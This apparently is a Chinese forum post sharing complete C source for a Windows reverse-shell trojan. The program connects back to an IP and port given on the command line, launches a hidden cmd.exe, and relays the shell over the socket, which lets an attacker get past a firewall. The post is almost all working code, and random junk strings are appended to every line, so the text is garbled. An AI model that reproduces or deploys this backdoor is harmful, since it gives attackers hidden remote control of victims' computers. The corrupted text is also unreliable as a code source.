这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nD6NLV%2x
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/* ============================== l~.ae,|7
Rebound port in Windows NT $C#G8Ck,
By wind,2006/7 vvwNJyU-
===============================*/ )%I2#Q"Nt-
#include }KcvNK (
#include \9N1:
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#pragma comment(lib,"wsock32.lib") ,3 =|a|p
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void OutputShell(); 8>%:MS"
SOCKET sClient; :XqqhG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W1fEUVj
c 2t<WRG
void main(int argc,char **argv) ihS;q6ln
{ wylbs@
WSADATA stWsaData; `fYICp
int nRet; -{n2^vvF
SOCKADDR_IN stSaiClient,stSaiServer; ge
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if(argc != 3) ya.!zGH
{ *mwHuGbZed
printf("Useage:\n\rRebound DestIP DestPort\n"); 2iO AUo+
return; ;/l$&:
} LQ(z~M0B
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WSAStartup(MAKEWORD(2,2),&stWsaData); o`,|{K$H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6aRPm%
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stSaiClient.sin_family = AF_INET; LhO%^`vu
stSaiClient.sin_port = htons(0); z><uYO$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M$iDaEu-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BWRAz*V
{ IYAvO%~
printf("Bind Socket Failed!\n"); lV924mh
return; |,#DB
} 'Km
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stSaiServer.sin_family = AF_INET; ;r'y/Y'?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E0?R,+>&4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B /q/6Pp
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qmQ}
{ {S[+hUl
printf("Connect Error!"); -hL 0}Wy$N
return; q=Xd a0c
} 742sqHx
OutputShell(); PW7{,1te,
} RI.6.f1dy
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void OutputShell() nwSujD
{ \A
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char szBuff[1024]; " ,k(*
SECURITY_ATTRIBUTES stSecurityAttributes; YvA@I|..~
OSVERSIONINFO stOsversionInfo; ]:H((rk
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l}w9c`f
STARTUPINFO stStartupInfo; RgTm^?Ex
char *szShell; !A_<(M<
PROCESS_INFORMATION stProcessInformation; Q5Yy
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unsigned long lBytesRead; !'m
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^hL?.xj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DNTkv_S
stSecurityAttributes.lpSecurityDescriptor = 0; pAK7V;sJ
stSecurityAttributes.bInheritHandle = TRUE; *S _[8L"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j`H5S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iB-h3/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;&iZ{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .0ov>4,R
stStartupInfo.wShowWindow = SW_HIDE; ayGYVYi
stStartupInfo.hStdInput = hReadPipe; GTYCNi66
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Lvco9
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GetVersionEx(&stOsversionInfo); VT@,RlB0
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switch(stOsversionInfo.dwPlatformId) ui>0?O*G
{ (g(.gN]
case 1: [v0[,K
szShell = "command.com"; 6>L)
break; ~%gO +qD
default: SK][UxoHm
szShell = "cmd.exe"; Wb)>APL
break; c
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} S<Rl?El<=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6(M^`&fl
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send(sClient,szMsg,77,0); 8,VX%CS#q
while(1) (v/mKG yg
{ &Hl*Eg
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3P}^Wu
if(lBytesRead) N*mm[F2+F
{ P
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fC4#b?Q
send(sClient,szBuff,lBytesRead,0); }^b7x;O|
} h
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else |M;tAG$,"y
{ pYxdE|2j
lBytesRead=recv(sClient,szBuff,1024,0); 76'@}wNnw
if(lBytesRead<=0) break; _0GM!Cny
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aB$xQ|~
} mKTa.
} k_,wa]ws$
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return; 7NQ@q--3s
}